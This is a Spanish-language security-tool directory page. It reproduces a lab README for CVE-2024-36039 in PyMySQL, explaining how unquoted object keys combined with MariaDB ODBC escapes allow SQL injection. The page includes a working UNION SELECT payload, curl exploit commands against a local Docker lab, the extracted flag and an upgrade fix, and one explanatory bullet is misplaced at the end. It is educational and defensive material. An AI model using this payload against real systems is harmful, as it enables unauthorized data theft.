Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-36039_PoC — PoC para CVE-2024-36039: Demostración de inyección SQL mediante el fallo de serialización de objeto a cadena en PyMySQL | Kitploit
Herramientas/GitHubGitHub/zenniskayy2k4/cve-2024-36039_poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónSeguridad de Bases de DatosLabs y Práctica
GitHubzenniskayy2k4/cve-2024-36039_poc

CVE-2024-36039_PoC

PoC para CVE-2024-36039: Demostración de inyección SQL mediante el fallo de serialización de objeto a cadena en PyMySQL

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 4 mesesAún no revisado

CVE-2024-36039: PoC de Inyección de Objetos a Inyección SQL en PyMySQL

Docker Python MariaDB Vulnerability CVE

Un laboratorio de Prueba de Concepto (PoC) completo y reproducible para CVE-2024-36039, que demuestra cómo una vulnerabilidad de Inyección de Objetos en PyMySQL (versiones <= 1.1.0) puede escalarse a una Inyección SQL completa utilizando las Secuencias de Escape ODBC de MariaDB.


⚠️ AVISO LEGAL Y ÉTICO (SOLO USO ÉTICO)

  • Este repositorio es solo para fines académicos y de investigación.
  • El código y las técnicas proporcionados NO deben utilizarse para interferir con ningún sistema que no sea de tu propiedad o para el que no tengas permiso escrito explícito para probar.
  • El autor/los contribuyentes NO son responsables de las consecuencias o daños causados por el uso indebido de esta información.
  • Al utilizar este repositorio, aceptas cumplir con estos términos.

📖 1. Resumen de la Vulnerabilidad

CVE-2024-36039 es una vulnerabilidad en PyMySQL, una librería cliente de MySQL escrita en Python puro.

Cuando las consultas parametrizadas (p. ej., execute("SELECT * FROM table WHERE data = %s", (my_dict,))) reciben un diccionario de Python cuyas claves son objetos personalizados en lugar de cadenas estándar, PyMySQL utiliza el método __str__ o __repr__ del objeto para serializarlo en una cadena SQL.

El Bug: PyMySQL olvida escapar (envolver entre comillas simples) la cadena resultante de la clave del objeto. Esto da como resultado que se inyecte una cadena cruda y sin comillas directamente en la sentencia SQL con formato de diccionario: {UnquotedObjectString: 'EscapedValue'}.


🔬 2. Análisis Técnico en Profundidad: El Truco ODBC de MariaDB

Por sí sola, la inyección de {UnquotedKey: 'Value'} en una consulta MariaDB provocará un 1064 Syntax Error porque {} no es sintaxis estándar de datos SQL.

Sin embargo, MariaDB/MySQL admite Secuencias de Escape ODBC, que utilizan llaves {}. Para evitar el error de sintaxis, la cadena inmediatamente posterior a { debe ser una palabra clave ODBC válida (p. ej., d, t, ts, fn).

La Cadena de Explotación:

  1. La Clave del Objeto (El Punto de Inyección): Creamos un objeto personalizado que devuelve fn/* mediante su método __repr__.
  2. El Valor (El Payload): Establecemos el valor del diccionario en */ 1} UNION SELECT 1, flag, 3 FROM secret -- .
  3. Serialización de PyMySQL: PyMySQL formatea este diccionario en la consulta SQL sin entrecomillar la clave:
    root@kitploit:~
    SELECT * FROM logs WHERE device_signature = {fn/*: "'*/ 1} UNION SELECT 1, flag, 3 FROM secret -- '"}
    
  4. La Magia del Parseo de MariaDB:
    • {fn : MariaDB reconoce el inicio de una función escalar ODBC.
    • /*: "'*/ : MariaDB lo trata como un comentario de bloque. ¡Los dos puntos : y la comilla de apertura ' generados por PyMySQL se ignoran por completo!
    • 1} : Completa la función ODBC (devolviendo efectivamente el entero 1).
    • UNION SELECT 1, flag, 3 FROM secret : Nuestro payload SQL inyectado se ejecuta.

Resultado: ¡Una Inyección SQL impecable que elude tanto la lógica de la aplicación como la parametrización de PyMySQL!


🛠️ 3. Instrucciones de Configuración del Laboratorio

Requisitos previos

  • Docker
  • Docker Compose

Instalación

Clona este repositorio y levanta el entorno:

root@kitploit:~
git clone https://github.com/zenniskayy2k4/CVE-2024-36039_PoC.git
cd CVE-2024-36039-PoC
docker-compose up -d --build

(Espera unos 15-20 segundos a que el contenedor de MariaDB se inicialice por completo).


🎯 4. Pasos de Explotación

Paso 1: Solicitud Normal

Envía una solicitud JSON estándar. El backend convertirá la clave JSON en un objeto CustomKey.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"yamato": "Any_value"}'

Respuesta: Obtendrás un Error de Sintaxis SQL que indica que {yamato: "'Any_value'"} es SQL inválido, confirmando el punto de inyección.

Paso 2: El Exploit (Extracción de la Flag)

Inyecta el payload de secuencia de escape ODBC para eludir el error de sintaxis y extraer la flag oculta de la tabla secret.

root@kitploit:~
curl -X POST http://localhost:9669/search \
     -H "Content-Type: application/json" \
     -d '{"fn/*": "*/ 1} UNION SELECT 1, flag, 3 FROM secret -- "}'

Respuesta (¡PWNED!):

root@kitploit:~
{
  "data":[
    {
      "device_signature": "PoC{CVE-2024-36039_PyMySQL_0bject_Injecti0n_Success}",
      "id": 1,
      "log_data": "3"
    }
  ],
  "status": "success"
}

🛡️ 5. Remediación

Para corregir esta vulnerabilidad, actualiza PyMySQL a la versión 1.1.1 o posterior.

En las versiones parcheadas, los desarrolladores se aseguran de que todas las claves del diccionario, independientemente de su tipo, se escapen y entrecomillen correctamente antes de insertarse en la sentencia SQL.

root@kitploit:~
pip install --upgrade PyMySQL

📚 6. Créditos y Referencias

  • Aviso CVE-2024-36039: NVD - CVE-2024-36039
  • Parche de Seguridad de PyMySQL: PyMySQL GitHub Release v1.1.1
  • Secuencias de Escape ODBC de MariaDB: Documentación de MariaDB.
  • Inspiración: Este entorno de laboratorio se modeló a partir de técnicas modernas de explotación web que implican fallos de serialización de objetos a cadenas.

Aviso legal: Este repositorio se crea únicamente con fines educativos y de investigación. No utilices estas técnicas contra sistemas que no poseas o para los que no tengas permiso explícito para probar.

© 2026 por zenniskayy. Construido para un internet más seguro.

Descargar herramienta
  • -- '"} : El comentario SQL ignora el resto de la basura final ('}).